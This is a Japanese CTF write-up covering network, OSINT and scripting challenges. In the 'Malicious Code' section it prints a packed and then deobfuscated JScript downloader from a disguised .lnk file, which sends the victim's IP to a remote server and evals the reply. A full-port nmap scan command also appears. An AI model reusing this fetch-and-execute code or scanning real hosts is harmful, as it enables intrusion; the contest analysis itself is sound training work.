![163.png](163.png)
894
895
ああ、URLになんか見覚えのある文字が、ヒントの「削るため」なるほどね。
896
897
B00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9
898
から、
899
B00OWA6QNO
900
を削除すればいいんだね。
901
902
```
903
$ echo ZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9 |base64 -d
904
flag={12Gatsu14NichiAkatsuki7Tsu}
905
```
906
907
908
# 164 電網術 Japanese kids are knowing
909
910
210.146.64.34
911
912
(ポートスキャンは苦しゅうない)
913
914
----
915
という訳で、ポートスキャンしてみたものの、全ての通信がシャットアウトされていた。pingも通らない。
916
おやこれは難しいなと思ってたんだけど、どうやら、自分のPCから目的のサーバまでの通信経路で不正アクセスとみなされて、通信をブロックされてしまったらしい。
917
918
そんなわけで、このサーバ(自分のPCとはプロバイダが違う)から、ゆっくりポートスキャンした。
919
920
※以下は、実行しないでね。間違うと不正アクセスとみなされます。
921
こういう注意も出てました。
922
923
>場阿忍愚CTFでは問題を解くにあたりアンチウィルスソフトやファイアウォール、IDS/IPSなどのセキュリティシステムでで異常を検知することがあります。
924
大学や企業のネットワークを経由して場阿忍愚CTFへ参加される場合、通信が異常と検出されることも考えられます。
925
各ネットワークのセキュリティポリシー等を十分確認いただき、必要であればネットワーク管理者やセキュリティ管理者とご相談の上ご参加ください。
926
927
```
928
$ ./nmap -v -sU -sS -T2 -p1-65535 allports aaa.bbb.ccc.ddd
929
※ aaa.bbb.ccc.dddは、IPアドレス
930
```
931
932
933
934
935
結果は
936
937
```
938
PORT     STATE SERVICE
939
5006/tcp open  unknown
940
```
941
942
でした。netcatで繋いでみる。
943
944
```
945
$ ./netcat 210.146.64.34 5006
946
<C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name in lower case.
947
```
948
949
こんなんでましたけど。動物の名前をmd5したのが答えという訳ですね。
950
前半の「C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C-」は音ですね。Cがドで、Dがレという具合に。
951
CTFでは、手を変え品を変え暗号が出てきますが、AからGの文字だけで表現されているものは、音を表していると思ってよいでしょう。
952
953
かえるの歌でした。
954
955
無駄に flog とかでmd5してたのでハマってたんだけど、結局以下でした。
956
957
```
958
$ echo -n kaeru|md5sum
959
b0232fe6fa3a8da06ef547191e3e8e40  -
960
```
961
962
963
964
# 165 電網術 Malicious Code
965
時代の最先端を行く伊士川御得門は、技術研鑚を怠ることなくさまざまな攻撃手法を編み出していく。これらのうちの一部はのちに発展し、APT、標的型攻撃、水飲み場型攻撃、、などと後世に語り伝えられていくことになる。さて、現時点ではまだそのような洗練された手法を確立しているはずもなく、ある考えを試してみようと御得門はとあるサーバを立ち上げた。以前から目をつけていた大名に対して攻撃をしかけたところ、端末を乗っ取ることに成功したのである。
966
165-cap2.pcapng
967
968
----
969
けっこう難しかった。もっとスマートに解く方法もあるような気はする。順を追って説明します。
970
971
## 手順1 ファイル抽出
972
973
まず、NetwokrMinerを使ってファイルを取り出す。別にWireSharkでも出来ると思う。
974
975
その index.html をを開くと、 p.download.exe というファイルがダウンロードされる。
976
977
PE形式っぽいですが、中はスクリプトが仕込まれているのが判ります。
978
979
```
980
$ xxd p.download.exe
981
0000000: 4c00 0000 0114 0200 0000 0000 c000 0000  L...............
982
0000010: 0000 0046 a100 0000 0000 0000 0000 0000  ...F............
983
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
984
0000030: 0000 0000 0000 0000 0000 0000 0700 0000  ................
985
0000040: 0000 0000 0000 0000 0000 0000 3501 1400  ............5...
986
0000050: 1f50 e04f d020 ea3a 6910 a2d8 0800 2b30  .P.O. .:i.....+0
987
0000060: 309d 1900 2f43 3a5c 0000 0000 0000 0000  0.../C:\........
988
0000070: 0000 0000 0000 0000 0000 0056 0031 0000  ...........V.1..
989
0000080: 0000 0000 0000 0010 0057 494e 444f 5753  .........WINDOWS
990
0000090: 0040 0009 0004 00ef be00 0000 0000 0000  .@..............
991
00000a0: 002e 0000 0000 0000 0000 0000 0000 0000  ................
992
00000b0: 0000 0000 0000 0000 0000 0000 0000 0057  ...............W
993
00000c0: 0049 004e 0044 004f 0057 0053 0000 0016  .I.N.D.O.W.S....
994
00000d0: 005a 0031 0000 0000 0000 0000 0010 0073  .Z.1...........s
995
00000e0: 7973 7465 6d33 3200 0042 0009 0004 00ef  ystem32..B......
996
00000f0: be00 0000 0000 0000 002e 0000 0000 0000  ................
997
0000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
998
0000110: 0000 0000 0000 0073 0079 0073 0074 0065  .......s.y.s.t.e
999
0000120: 006d 0033 0032 0000 0018 0056 0032 0000  .m.3.2.....V.2..
1000
0000130: 0000 0000 0000 0000 0063 6d64 2e65 7865  .........cmd.exe
1001
0000140: 0040 0009 0004 00ef be00 0000 0000 0000  .@..............
1002
0000150: 002e 0000 0000 0000 0000 0000 0000 0000  ................
1003
0000160: 0000 0000 0000 0000 0000 0000 0000 0063  ...............c
1004
0000170: 006d 0064 002e 0065 0078 0065 0000 0016  .m.d...e.x.e....
1005
0000180: 0000 00f7 032f 0063 0020 0065 0063 0068  ...../.c. .e.c.h
1006
0000190: 006f 0020 0065 0076 0061 006c 0028 0066  .o. .e.v.a.l.(.f
1007
00001a0: 0075 006e 0063 0074 0069 006f 006e 0028  .u.n.c.t.i.o.n.(
1008
00001b0: 0070 002c 0061 002c 0063 002c 006b 002c  .p.,.a.,.c.,.k.,
1009
00001c0: 0065 002c 0064 0029 007b 0065 003d 0066  .e.,.d.).{.e.=.f
1010
00001d0: 0075 006e 0063 0074 0069 006f 006e 0028  .u.n.c.t.i.o.n.(
1011
00001e0: 0063 0029 007b 0072 0065 0074 0075 0072  .c.).{.r.e.t.u.r
1012
00001f0: 006e 0028 0063 005e 003c 0061 003f 0027  .n.(.c.^.<.a.?.'
1013
0000200: 0027 003a 0065 0028 0070 0061 0072 0073  .'.:.e.(.p.a.r.s
1014
0000210: 0065 0049 006e 0074 0028 0063 002f 0061  .e.I.n.t.(.c./.a
1015
0000220: 0029 0029 0029 002b 0028 0028 0063 003d  .).).).+.(.(.c.=
1016
0000230: 0063 0025 0061 0029 005e 003e 0033 0035  .c.%.a.).^.>.3.5
1017
0000240: 003f 0053 0074 0072 0069 006e 0067 002e  .?.S.t.r.i.n.g..
1018
0000250: 0066 0072 006f 006d 0043 0068 0061 0072  .f.r.o.m.C.h.a.r
1019
0000260: 0043 006f 0064 0065 0028 0063 002b 0032  .C.o.d.e.(.c.+.2
1020
省略
1021
```
1022
1023
## 手順2 スクリプトを抽出
1024
1025
この実行ファイル、自分の環境では実行できなかった。
1026
そこでスクリプトを抽出してみる。0x00 が間に挟まってるので、何とかうまいこと抽出します。
1027
1028
これを
1029
1030
```
1031
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('6 3(){1 w=R("Q:{P=O}");e=5 N(w.M("L * K J I H = G"));4 e.F().E(0)}6 p(u,d){1 r=5 D("C.B");r.A("z",u,y);r.v("t-s","q/x-o-n-m");r.l(2,k);r.j(d);4 r.i}1 u="h://g.f.c.b:a/p.9";1 d="8="+3();7(p(u,d));',54,54,'|var||ip|return|new|function|eval|myaddr|php|60444|38|64|||146|210|https|responseText|send|13056|setOption|urlencoded|form|www||application||Type|Content||setRequestHeader|||false|POST|open|ServerXMLHTTP|Msxml2|ActiveXObject|IPAddress|item|True|IPEnabled|WHERE|Win32_NetworkAdapterConfiguration|FROM|SELECT|ExecQuery|Enumerator|impersonate|impersonationLevel|winmgmts|GetObject'.split('|'),0,{}))
1032
```
1033
1034
こうじゃ
1035
1036
```
1037
eval(function(p, a, c, k, e, d) {
1038
  e = function(c) {
1039
    return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
1040
  };
1041
  if (!''.replace(/^/, String)) {
1042
    while (c--) d[e(c)] = k[c] || e(c);
1043
    k = [function(e) {
1044
      return d[e]
1045
    }];
1046
    e = function() {
1047
      return '\\w+'
1048
    };
1049
    c = 1
1050
  };
1051
  while (c--)
1052
    if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
1053
  return p
1054
}('6 3(){1 w=R("Q:{P=O}");e=5 N(w.M("L * K J I H = G"));4 e.F().E(0)}6 p(u,d){1 r=5 D("C.B");r.A("z",u,y);r.v("t-s","q/x-o-n-m");r.l(2,k);r.j(d);4 r.i}1 u="h://g.f.c.b:a/p.9";1 d="8="+3();7(p(u,d));', 54, 54, '|var||ip|return|new|function|eval|myaddr|php|60444|38|64|||146|210|https|responseText|send|13056|setOption|urlencoded|form|www||application||Type|Content||setRequestHeader|||false|POST|open|ServerXMLHTTP|Msxml2|ActiveXObject|IPAddress|item|True|IPEnabled|WHERE|Win32_NetworkAdapterConfiguration|FROM|SELECT|ExecQuery|Enumerator|impersonate|impersonationLevel|winmgmts|GetObject'.split('|'), 0, {}))
1055
```
1056
1057
たぶん、これでパックされていると思われる。
1058
http://dean.edwards.name/packer/
1059
1060
## 手順3 スクリプトを解読
1061
1062
[caffeine-monkey](http://www.secureworks.com/cyber-threat-intelligence/tools/caffeinemonkey/)というツールで難読化されたJavaSciptを複合化できる。
1063
1064
インストール手順や使い方は省略する。
1065
実行の結果として、以下が得られる。
1066
1067
これを
1068
1069
```
1070
EVAL: function ip(){var w=GetObject("winmgmts:{impersonationLevel=impersonate}");e=new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));return e.item().IPAddress(0)}function p(u,d){var r=new ActiveXObject("Msxml2.ServerXMLHTTP");r.open("POST",u,false);r.setRequestHeader("Content-Type","application/x-www-form-urlencoded");r.setOption(2,13056);r.send(d);return r.responseText}var u="https://210.146.64.38:60444/p.php";var d="myaddr="+ip();eval(p(u,d));
1071
```
1072
1073
こうじゃ
1074
1075
```
1076
function ip() {
1077
  var w = GetObject("winmgmts:{impersonationLevel=impersonate}");
1078
  e = new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));
1079
  return e.item().IPAddress(0)
1080
}
1081
1082
function p(u, d) {
1083
  var r = new ActiveXObject("Msxml2.ServerXMLHTTP");
1084
  r.open("POST", u, false);
1085
  r.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
1086
  r.setOption(2, 13056);
1087
  r.send(d);
1088
  return r.responseText
1089
}
1090
var u = "https://210.146.64.38:60444/p.php";
1091
var d = "myaddr=" + ip();
1092
eval(p(u, d));
1093
1094
function ip() {
1095
  var w = GetObject("winmgmts:{impersonationLevel=impersonate}");
1096
  e = new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));
1097
  return e.item().IPAddress(0)
1098
}
1099
1100
function p(u, d) {
1101
  var r = new ActiveXObject("Msxml2.ServerXMLHTTP");
1102
  r.open("POST", u, false);
1103
  r.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
1104
  r.setOption(2, 13056);
1105
  r.send(d);
1106
  return r.responseText
1107
}
1108
var u = "https://210.146.64.38:60444/p.php";
1109
var d = "myaddr=" + ip();
1110
eval(p(u, d));
1111
```
1112
1113
## 手順4 答え
1114
1115
なんか色々やってるけど、怪しいURLがあるので、アクセスしてみよう。
1116
1117
>もし本物のマルウェアだったら、直接ブラウザでアクセスするのは危険。
1118
気休めだけど、curlコマンドを使おう。
1119
1120
```
1121
$ curl   -d myaddr=10.0.2.222 https://210.146.64.38:60444/p.php --insecure
1122
WScript.Echo('flag = {lnk is sometimes malicious}')
1123
```
1124
1125
flagが出てきた。想定解なのかしら?
1126
1127
1128
1129
1130
# 171 諜報術 KDL
1131
1132
1998年にKDL (Kobe Digital Labo)がどういう人材を募集していましたか?
1133
1134
(フラグは日本語でお願い申し上げ候)
1135
1136
----
1137
そのドメインが昔どういう内容だったか、確認できるサイトがあります。Web魚拓みたいなもんです。
1138
1139
Internet Archive: Wayback Machine
1140
http://archive.org/web/
1141
1142
>個人的な若かりし頃に作った闇歴史サイトも保存されてたりするので、精神衛生上良くないですw
1143
1144
さてさて、http://www.kdl.co.jp の1980年の内容を確認してみましょう。
1145
1146
https://web.archive.org/web/19981212030254/http://www.kdl.co.jp/
1147
1148
「ソフトウェア開発エンジニア募集中!!」でしたね。
1149
答えは「ソフトウェア開発エンジニア」です。
1150
1151
1152
# 172 諜報術 Mr. Nipps
1153
1154
山寺純社長は日本時間で今年の8月13日の朝の5時半に何処にいらっしゃったでしょうか?
1155
フラグはGPSの位置情報「緯度,経度」でお願いします。
1156
例:55.55555555,66.66666666
1157
(2~3桁.7桁,2~3桁.7桁)
1158
1159
サンタ殿からのヒント:永・日°・愛
1160
1161
----
1162
位置情報の「小数点以下7桁」と言う精度は、どうやら1cm程度らしいので、ぼんやり「ここらへん」じゃダメそうですね。
1163
なので「いま××にいます~」みたいな、発言の記録から推測するという可能性は低そうです。
1164
画像ファイルのExifに位置情報が入っているんじゃないかと思いましたが、主要なSNSは画像ファイルをアップロードする際にExif情報が削除されます。
1165
う~んと思いつつも、FacebookやTwitterなんかを探しまくっていました。
1166
1167
それで、やっと見つけたのが
1168
http://websta.me/p/1050182265090749169_317443
1169
1170
2015-08-13, 5:31 とありますので、間違い無さそうですね。場所は~・・・よくよく見ると地図へのリンクがあります。
1171
1172
http://websta.me/location/3782125
1173
1174
よし・・・解けた・・・と思ってからが、長かった。
1175
そのままグーグルマップに移行すると座標は6桁で足りない。
1176
まぁ1桁だけだから、ブルートフォース出来ないこともないんだろうけど、ルール違反ぽいし困ってた。
1177
実は、http://websta.me/location/3782125 のHTMLのソースの中にあった。
1178
1179
```html
1180
<div id="map_wrapper" data-lat="34.0409203" data-lng="-118.2672272"></div>
1181
```
1182
1183
1184
# 173 諜報術 Akiko-chan
1185
1186
ある日、突然この可愛い女の子からフェイスブックの友達リクエストが来た。
1187
しかし、見覚えが無いので少し怪しいと思って、念のためにこの人がほんまものかどうか調べたい。
1188
友達に見せたら、「この子、確かどこかのwordpressサイトで見たで~」って。
1189
1190
フェイスブックメッセージ:
1191
「やっほ~
1192
この間、あそこで出会ったアキコで~す!覚えてる??
1193
よかったら、FB友達なってね~!」
1194
1195
友達が何処のwordpressサイトで見たでしょうか?
1196
フラグはxxxxxx.wordpress.comでお願いします。
1197
1198
----
1199
1200
google先生の画像検索すればよい。
1201
1202
[こんな感じ](https://www.google.co.jp/search?hl=ja-US&tbs=sbi:AMhZZiu5z9wrJEX-K4q36Ms6SBp6jWCzMn15jVynBFQmsYpWZICUB_1fbKG48haMb1djADD_10DZYWLATKuPBgZfq1GwLHrxEvY9vGqIEQxzHWjOSPUXly2oWqjjHHZtVYjBbbNsxjcxNY9kW7-jWMR9ahDUVp5p1eWZi64RVstHiDdxYmEGWUKbPhDtSGRJFhuxOKbevoRKt28XucIuh_1KMSg5rdS-hZadxvBbM01iW7aRNeHdlWvnxymq4Ro-awiQlIOaLlgqejbg1ULvX5jhVQq-ds42s-eVtDcE-Dr66n4jsPUR8gMFb3XEp3qtTPqQI2ayJ3rPtxdi-XVsj5KX2ewfIr8TKmHSjPrXUJ6wkbyUSgI9b7ES47Dafny2Bukek1q-DJtz5G_1pIyLB1CiJG6CnGf2cQjW3hskq1YQPU-AjzX5pjoPtZQYcYLh3adVnS2JBnCeXuhz-EHGEgNGWcf_1z-kmiuUSQaxy1bjc1gUvM_1-HXQIY9NsWYLSuX6o5vkH1fgrsOjnX-q6LpgQ8aigk-Cxr-kiwjHfC6uNr76JriXcQikd3v1Fc3xBPnb7Dm-Yd7KwoMjBuCF9whc5v4qKL1YtW2Ay27-bLboeMsFLI3xiXYSHlclniqtthaYtT6BTrmsELlwX6uCKjo1lml-t7Ae1g-kCrL9krvItCvYOREE3p2uewoZ-SVQt1UUHmEquj_1GRkL_1nrChKuisimlhdiWxn06Q_1Xu3WpS5lPuaKy5BJtoLc6Ud-YAitjAAzL3ZV5oz_1c_1mxj56s2Dae9EdPffD08nzUoLPuy-PpXK2Ji4fn4Jj3dsS_19blyYGXYdouFp0DlM-bA2mlGZG3lmKmaLeiOA2HbsoRbwWrVWEYHEbF16EWUbOzfDIOgcWyC7w3kzBSLMf0YZ3V2HApyPWiFzYO20kKIJiqGOcEezg32Aqt0cgwLKD5IF0qhBWlYhl5W7WOkTA3cjju9OiGTbwbmeiUHsXRzbhT46toqWUm_1hKJMxejAZXuQz_1dP_1NbFlrRXIHRM9XfItkcfuXTXVPnrmKjFDIwUzEixsEJXFMOIHnp3gw7QcyMiEpmrraQATQ4F1VQD3wgi2Ht7tSd4EkD_1-HZYXaJr3jcYmjWaod8y33ySxf0DuXtrdkeiJqPNL6NUkfXCkNzJNmUinFI8IeJ2HIC3VeVmmx8OzdHUz1jj7CH4dOyJSEWnnWHsip4DjAD6a109mDmvsYGbppmftEdWLJ4zlJo6ggIA0zc_1RUi0jL5mdlOK5Wr2EKxn5TW82dX01Gl6WQUyNTzi2PkVIKZe-BMG-YkqwXr6gBkI6d_12cCYqMREhFV9WiWnklEJnT3vvUXi3wTnJhEyoIiCIJhdxm3FQt1MPCri2MYU3rr5c0GvAOMowdUZ-CD4kcEMWz9NPJb1YT4mf9GcacGr1dnPcfkXFFjz1UdVhQdAmZBTnF2SATLTESkx6axxpRBTOToadyRXmRlJPT--1FjqhS4UsnzW4nY8WHJRS_1e88xiuqi7gPb8_1Ql90jFk0-P6oCEeBDDMxBjOl44hJ9z1_1y1FvdKPjopXGzksQ&source=lnt&sa=X&ved=0ahUKEwjG8IGgsaPJAhWKvBQKHU9yA6gQpwUIFQ&biw=1063&bih=908&tbas=0&gws_rd=cr&ei=Jx6bVrWvH4Lwap_JjtgN)
1203
1204
答え
1205
1206
https://twanzphobic.wordpress.com
1207
1208
1209
1210
# 174 諜報術 タナカハック
1211
1212
 大和セキュリティの田中さんが最近どのホラ貝よりも凄い音をする次世代ホラ貝を開発したという情報が入りました。彼が特許を取る前に是非その情報を手に入りたいと思って、彼のISPでスニッファを設けて、機密情報が入っているサーバへのログインを盗聴できたが、なぜかユーザ名の一部が壊れてしまいました。「123456」のパスワードと「taなんとか123」のユーザ名が分かりましたが、正しいユーザ名が分からないとログインできないので、彼が使っているユーザ名を見つけて下さい。
1213
1214
フラグ:田中さんのユーザ名
1215
1216
※注意1:総当りの問題ではないので、総当たり攻撃は禁止の上、不要!
1217
※注意2:このシナリオはフィクションです。不正アクセスは犯罪なので絶対してはいかぬじゃ~
1218
1219
(答えはwww.yamatosecurity.comに公開されているファイルにあります。)
1220
1221
サンタ殿からのヒント:wgetとgrepとバイナリーエディターさえあればどんな問題でも解けるでござる。
1222
1223
----
1224
1225
まず、 www.yamatosecurity.com のファイルを全部取得しましょう。wgetコマンドで出来ます。
1226
1227
```
1228
$ wget -r http://www.yamatosecurity.com
1229
```
1230
1231
そっこから全部 strings して grep して怪しい文字列を探そうと思って
1232
1233
```
1234
$ cd www.tanakazakku.com/yamatosecurity/files
1235
$  strings ./* |grep 123
1236
123 0 obj
1237
<< /Type /Page /Parent 114 0 R /Resources 125 0 R /Contents 123 0 R /MediaBox
1238
0000212332 00000 n
1239
0000212311 00000 n
1240
0000212369 00000 n
1241
0001234879 00000 n
1242
0001232035 00000 n
1243
0001232057 00000 n
1244
0001234857 00000 n
1245
               <rdf:li>tanakazakkarini123</rdf:li>
1246
<</Author(tanakazakkarini123)/CreationDate(D:20130422102054Z)/Creator(Microsoft PowerPoint)/Keywords()/ModDate(D:20150918163456+09'00')/Producer(Mac OS X 10.6.8 Quartz PDFContext)>>
1247
```
1248
1249
tanakazakkarini123 だった。
1250
1251
>ちなみに、「どのホラ貝よりも凄い音をする次世代ホラ貝」は実在していて、2015 SECCON決勝で田中さん自ら吹いてくれていました。すごい音でした。
1252
1253
1254
1255
# 175 諜報術 タイムトラベル
1256
1257
平成25年9月21日に50.115.13.104はどのドメイン名に結びついてたん?
1258
1259
(※上記の画像は問題と関係ありませぬ)
1260
1261
----
1262
めっちゃ時間かかった。
1263
該当のIPアドレスを管理する[ARIN](https://www.arin.net/)を中心に調べまくったのだけど、手がかりも見つからず。。
1264
1265
結局、こういう調べ方をして見つけた。
1266
IPアドレスだけで検索すると「ipaddress.com」というサイトが矢鱈ひっかかるので、それを除外して検索。
1267
1268
https://www.google.co.jp/search?q=test&oq=test&es_sm=93&ie=UTF-8#q=50.115.13.104+-site:ipaddress.com&start=10
1269
1270
結果、以下が見つかる。
1271
1272
https://www.robtex.com/en/advisory/dns/50/115/13/104/
1273
1274
で、これ
1275
1276
mxserver-104.blisterninja.com
1277
1278
しんどかった。。
1279
https://www.robtex.com というのは、こういう情報を保存しているんですね。新しい知見でした。
1280
1281
1282
1283
1284
# 181 記述術 search_duplicate_character_string
1285
1286
次のファイルに書かれている文字列の異なる2つの部分文字列s1, s2を考えた時、s1=s2となるもののうち、最も長いものを答えてください。
1287
ただし、「sがSの部分文字列である」とは、0 <= k <= |S| - |s|であるようなある整数kを用いて、0 <= i < |s|なる全ての整数iについて、S[k+i] = s[i]が成り立つことを言います。
1288
1289
181-search_duplicate_character_string
1290
1291
----
1292
[Qiita - ファイルの中にある特定文字列を数える](http://qiita.com/kimihiro_n/items/09a1640858da6bcb14d9)を使わせて頂いて、以下のソルバを書きました。
1293
1294
match_count.py
1295
1296
```
1297
#!/usr/bin/env python
1298
# -*- coding: utf-8 -*-
1299
1300
import sys
1301
import os.path
1302
1303
1304
def clean_args(args):
1305
    if len(args) == 2:
1306
        search_word = args[1]
1307
        return (True, None, search_word)
1308
    if len(args) != 3:
1309
        print "[Usage] match_count.py $filename $search_word"
1310
        return (False, None, None)
1311
1312
    target_file_path = args[1]
1313
    search_word       = args[2]
1314
1315
    if not os.path.exists(target_file_path):
1316
        print "[Error] File is not exist."
1317
        return (False, None, None)
1318
1319
    return (True, target_file_path, search_word)
1320
1321
1322
def count_words(filename, search_word):
1323
1324
    if filename is not None:
1325
        # python 2.4だったのでwith使えず
1326
        stream = open(filename, 'r')
1327
        counter = _count(stream, search_word)
1328
        stream.close()
1329
        return counter
1330
    else :
1331
        return _count(sys.stdin, search_word)
1332
1333
1334
def _count(stream, search_word):
1335
    counter = 0
1336
    for line in stream:
1337
        counter += line.count(search_word)
1338
    return counter
1339
1340
1341
def main():
1342
1343
    args = sys.argv
1344
    (is_valid, filename, search_word) = clean_args(args)
1345
    if not is_valid:
1346
        sys.exit()
1347
1348
    print count_words(filename, search_word)
1349
1350
1351
if __name__ == '__main__':
1352
    main()
1353
```
1354
1355
solver.sh
1356
1357
```
1358
#!/bin/bash
1359
1360
FI="181-search_duplicate_character_string.txt"
1361
#FI="test.txt"
1362
1363
ST_C="1"
1364
EN_C=`cat ${FI}|wc -c`
1365
#CNT=$EN_C
1366
CNT="1000"
1367
1368
N=1
1369
M=$CNT
1370
1371
echo "" > time.log
1372
1373
while :
1374
do
1375
  CMP=`cat ${FI}|cut -c$N-$M`
1376
  ANS=`./match_count.py ${FI} "${CMP}"`
1377
  if [ ${ANS} -gt "1" ]
1378
  then
1379
    echo "Hit!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
1380
    echo ${CMP}
1381
    echo ${CMP} > answer.txt
1382
    exit 0
1383
  fi
1384
1385
  N=$(( N + 1 ))
1386
  M=$(( M + 1 ))
1387
  if [ $M -gt $EN_C ]
1388
  then
1389
    CNT=$(( CNT - 1 ))
1390
    N=1
1391
    M=$CNT
1392
    date      >> time.log
1393
    echo $CNT >> time.log
1394
  fi
1395
1396
done
1397
```
1398
1399
答え
1400
1401
f_sz!bp_$gufl=b?za>is#c|!?cxpr!i><
1402
1403
1404
# 182 記述術 JavaScript Puzzle
1405
1406
戦国時代、戦の影で活躍した忍びの棟梁 井伊衛 素六。
1407
今回の戦いでも敵中深くまで潜り込み、敵の必殺技「荒痕(1)」の書かれた秘伝の書を入手したのはよかったが、必殺技の漏えいを恐れる敵の手によって技を発動させるための重要な手順のいくつかが隠されてしまっている。
1408
負けるわけにいかない今回の戦、必殺技「荒痕(1)」を発動させるための手順をぜひ完成させて欲しい。
1409
182-jspuzzle.zip
1410
1411
----
1412
1413
![182.png](182.png)
1414
1415
さて・・・さっぱりだわ・・・w
1416
だがまだだ・・・まだ慌てるような時間じゃない。
1417
1418
まず、1個目の空欄と2個目の空欄なんだけど、eval と call だと思われる。たぶん。
1419
続けて、文字を現す値が入ります。"alert"ですね。なので、ここまでは解りました。
1420
1421
```
1422
    window["eval"]["call"]`${
1423
        [(00000101),(0b1001100),(101), 0x52, 0x54 ]
1424
```
1425
1426
>この数値なんかは、ChromeのJavaSciptコンソールで変数に入れてみたりすれば、すぐ分かります。
1427
1428
さてさて、残りがわからないんですよ。計5個の空欄。
1429
適当に入力してみたけど、ぜんぜんダメ。。よし、ブルートフォース(物理)だ!
1430
1431
5! = 5 x  4 x 3 x 2 x 1 = 120通り
1432
1433
充分いける数。そんな訳で、全部の組わせを出力するシェルスクリプトを書く。
1434
1435
solv.sh
1436
1437
```
1438
#!/bin/bash
1439
1440
JUN="jun.txt"
1441
DIC="dic.txt"
1442
1443
while read LINE
1444
do
1445
    FOR_GREP=`echo $LINE|awk '{print $1}'`
1446
    P1=`cat $DIC|grep ${FOR_GREP}|awk '{print $2}'`
1447
1448
    FOR_GREP=`echo $LINE|awk '{print $2}'`
1449
    P2=`cat $DIC|grep ${FOR_GREP}|awk '{print $2}'`
1450
1451
    FOR_GREP=`echo $LINE|awk '{print $3}'`
1452
    P3=`cat $DIC|grep ${FOR_GREP}|awk '{print $2}'`
1453
1454
    FOR_GREP=`echo $LINE|awk '{print $4}'`
1455
    P4=`cat $DIC|grep ${FOR_GREP}|awk '{print $2}'`
1456
1457
    FOR_GREP=`echo $LINE|awk '{print $5}'`
1458
    P5=`cat $DIC|grep ${FOR_GREP}|awk '{print $2}'`
1459
1460
    FOR_GREP=`echo $LINE|awk '{print $6}'`
1461
    P6=`cat $DIC|grep ${FOR_GREP}|awk '{print $2}'`
1462
1463
    FOR_GREP=`echo $LINE|awk '{print $7}'`
1464
    P7=`cat $DIC|grep ${FOR_GREP}|awk '{print $2}'`
1465
1466
    echo "########## $P1 $P2 $P3 $P4 $P5 $P6 $P7"
1467
1468
    printf '    window["%s"]["%s"]`${\n' $P1 $P2 > try.js
1469
    echo '        [(00000101),(0b1001100),(101), 0x52, 0x54 ]' >> try.js
1470
    printf '        ["%s"](x=>String["%s"](x))["%s"]("")["%s"]() +"%s"\n' $P3 $P4 $P5 $P6 $P7 >> try.js
1471
    echo '    }`;' >> try.js
1472
1473
    Linux_All_DBG.OBJ/js try.js
1474
1475
    if cat /tmp/js_function.log|grep alert >/dev/null
1476
    then
1477
      echo "Hit!!!!!!!!!!!!!!!!!!!!!!!!"
1478
      echo "########## $P1 $P2 $P3 $P4 $P5 $P6 $P7"
1479
      exit 0
1480
    fi
1481
1482
done < $JUN
1483
```
1484
1485
jun.dic
1486
1487
jun.txtを作るのに[学校のC言語の課題で、順列を表示させるプログラムをつくりたい](http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1033083295)を利用させて頂きました。
1488
1489
```
1490
1   2   3   4   5   7   6
1491
1   2   3   4   6   5   7
1492
1   2   3   4   6   7   5
1493
1   2   3   4   7   5   6
1494
1   2   3   4   7   6   5
1495
1   2   3   5   4   6   7
1496
1   2   3   5   4   7   6
1497
1   2   3   5   6   4   7
1498
1   2   3   5   6   7   4
1499
1   2   3   5   7   4   6
1500
1   2   3   5   7   6   4
1501
1   2   3   6   4   5   7
1502
1   2   3   6   4   7   5
1503
1   2   3   6   5   4   7
1504
1   2   3   6   5   7   4
1505
1   2   3   6   7   4   5
1506
1   2   3   6   7   5   4
1507
1   2   3   7   4   5   6
1508
1   2   3   7   4   6   5
1509
1   2   3   7   5   4   6
1510
1   2   3   7   5   6   4
1511
1   2   3   7   6   4   5
1512
1   2   3   7   6   5   4
1513
1   2   4   3   5   6   7
1514
1   2   4   3   5   7   6
1515
1   2   4   3   6   5   7
1516
1   2   4   3   6   7   5
1517
1   2   4   3   7   5   6
1518
1   2   4   3   7   6   5
1519
1   2   4   5   3   6   7
1520
1   2   4   5   3   7   6
1521
省略(数字の全部の組み合わせが続く)
1522
```
1523
1524
dic.txt
1525
1526
```
1527
1 (1)
1528
2 eval
1529
3 call
1530
4 join
1531
5 map
1532
6 toLowerCase
1533
7 fromCodePoint
1534
```
1535
1536
出力結果
1537
1538
```
1539
1540
    window["eval"]["call"]`${
1541
        [(00000101),(0b1001100),(101), 0x52, 0x54 ]
1542
        ["(1)"](x=>String["join"](x))["map"]("")["fromCodePoint"]() +"toLowerCase"
1543
    }`;
1544
1545
    window["eval"]["call"]`${
1546
        [(00000101),(0b1001100),(101), 0x52, 0x54 ]
1547
        ["(1)"](x=>String["join"](x))["toLowerCase"]("")["map"]() +"fromCodePoint"
1548
    }`;
1549
1550
    window["eval"]["call"]`${
1551
        [(00000101),(0b1001100),(101), 0x52, 0x54 ]
1552
        ["(1)"](x=>String["join"](x))["toLowerCase"]("")["fromCodePoint"]() +"map"
1553
    }`;
1554
以下省略
1555
```
1556
1557
これを Chrome の JavaScriptコンソール に順に貼り付けて実行します。
1558
